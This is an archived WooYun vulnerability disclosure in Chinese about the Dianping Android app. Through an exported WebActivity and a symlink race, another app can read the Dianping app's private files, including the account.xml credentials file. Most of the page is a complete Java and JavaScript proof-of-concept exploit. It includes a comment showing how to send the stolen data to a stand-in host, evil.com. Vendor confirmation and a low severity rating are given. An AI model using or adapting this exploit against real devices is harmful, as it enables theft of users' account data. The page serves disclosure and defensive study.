乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-12-26: 细节已通知厂商并且等待厂商处理中 2013-12-27: 厂商已经确认,细节仅向厂商公开 2013-12-30: 细节向第三方安全合作伙伴开放 2014-02-20: 细节向核心白帽子及相关领域专家公开 2014-03-02: 细节向普通白帽子公开 2014-03-12: 细节向实习白帽子公开 2014-03-26: 细节向公众公开
大众点评客户端APP(Android版)的实现存在问题,攻击者构造特定的Intent Object,启动APP中的com.dianping.ui.activity.WebActivity组件,执行特定的JavaScript脚本,可以窃取任意私有文件的内容。
1. 大众点评客户端App包含很多Activities组件,其中的com.dianping.ui.activity.WebActivity组件可以响应任意第三方App发送的Intent Object,接收其中的参数值,调用WebView组件打开参数中指定的url地址(我们此处关注的是file://本地文件域),解析执行其中的代码。2. 利用符号链接,可以绕过文件同源性策略的限制,调用com.dianping.ui.activity.WebActivity组件解析执行特定的JavaScript脚本,可以窃取任意私有文件的内容。详情请参考看漏洞证明代码。
package com.example.x3xtxt.demo.dp;import java.io.FileOutputStream;import android.app.Activity;import android.content.ComponentName;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.view.Menu;import android.widget.Toast;public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); /* 这是你想要窃取的目标文件地址 */ String sensitive_file_name = "/data/data/com.dianping.v1/shared_prefs/account.xml"; DP_WebViewReadAnyFilePoC(sensitive_file_name); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } public void DP_WebViewReadAnyFilePoC(String targetfile){ try{ // 第一步,将窃取数据的shellpoc.html写入本地,确保任意App都有权访问shellpoc.html。 String shell_poc = "/data/data/"+getApplicationContext().getPackageName()+"/files/shellpoc.html"; write_payload_file(); cmdexec(new String[] {"/system/bin/chmod", "-R", "777", shell_poc}); // 第二步,调用com.dianping.ui.activity.WebActivity组件打开shellpoc.html文件,载入解析执行其中的JavaScript脚本, // JavaScript脚本中的函数延迟执行,之所以延迟执行是为了配合符号链接绕过文件同源性策略。 String pkgName = "com.dianping.v1"; String activityName = "com.dianping.ui.activity.WebActivity"; String url = "file://"+shell_poc; Intent intent = new Intent(); intent.setAction("android.intent.action.VIEW"); intent.setComponent(new ComponentName(pkgName, activityName)); intent.putExtra("url", url); intent.putExtra("title", "android app sec testing"); intent.putExtra("openExternal", true); startActivity(intent); Thread.sleep(2000); // 第三步,当shellpoc.html被载入到WebView中解析执行之后,删除shellpoc.html文件, // 然后创建包含敏感信息的目标私有文件("/data/data/com.dianping.v1/shared_prefs/account.xml")的符号链接, // 符号链接名称和shellpoc.html文件名相同,从而绕过文件同源性策略,读取私有文件的数据。 cmdexec(new String[] {"/system/bin/rm", shell_poc}); cmdexec(new String[] {"/system/bin/ln", "-s", targetfile, shell_poc}); cmdexec(new String[] {"/system/bin/chmod", "-R", "777", shell_poc}); Thread.sleep(5000); cmdexec(new String[] {"/system/bin/rm", shell_poc}); }catch(Exception e){ debugInfo(e.getMessage()); } } @SuppressWarnings("deprecation") public void write_payload_file(){ String payloadStr = "function getContent(){ \n" +" var url = location.href; \n" +" var xmlhttp; \n" +" if(window.XMLHttpRequest){ \n" +" xmlhttp=new XMLHttpRequest(); \n" +" }else{ \n" +" xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\"); \n" +" } \n" +" \n" + " xmlhttp.onreadystatechange=function() \n" +" { \n" +" if (xmlhttp.readyState==4) \n" +" { \n" +// 实际的攻击过程中只要将alert(xmlhttp.responseText)替换为// document.location.href = 'http://evil.com/receive.php?data'+encodeURIComponent(xmlhttp.responseText)// 即可。" alert(xmlhttp.responseText); \n" + " } \n" +" } \n" +" xmlhttp.open(\"GET\",url,true); \n" +" xmlhttp.send(); \n" +"} \n" +" \n" + "setTimeout(getContent,4000); \n"; String htmlStr = "<html> \n" + "<head><title>Steal Sensitive Information PoC</title></head> \n" + "<body> \n" + " <script type=\"text/javascript\"> \n" + payloadStr + " </script> \n" + "</body> \n" + "</html>"; try{ FileOutputStream fOut = openFileOutput("shellpoc.html", Context.MODE_WORLD_READABLE); fOut.write(htmlStr.getBytes()); fOut.close(); }catch(Exception e){ debugInfo(e.getMessage()); } } public void cmdexec(String[] cmd){ try{ Runtime.getRuntime().exec(cmd); }catch(Exception e){ debugInfo(e.getMessage()); } } public void debugInfo(String msg){ Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show(); }}
关于修复,还是RD自己参照系统功能需求来做限制吧。
危害等级:低
漏洞Rank:5
确认时间:2013-12-27 14:25
谢谢关注点评安全。由于需要攻击者已经有目标机的执行权限(因为需要写入本地文件,而且需要创建符号链接),一般要求用户安装木马程序的情况下才可做到,所以条件比较苛刻,下次版本会限制本地域的访问。
暂无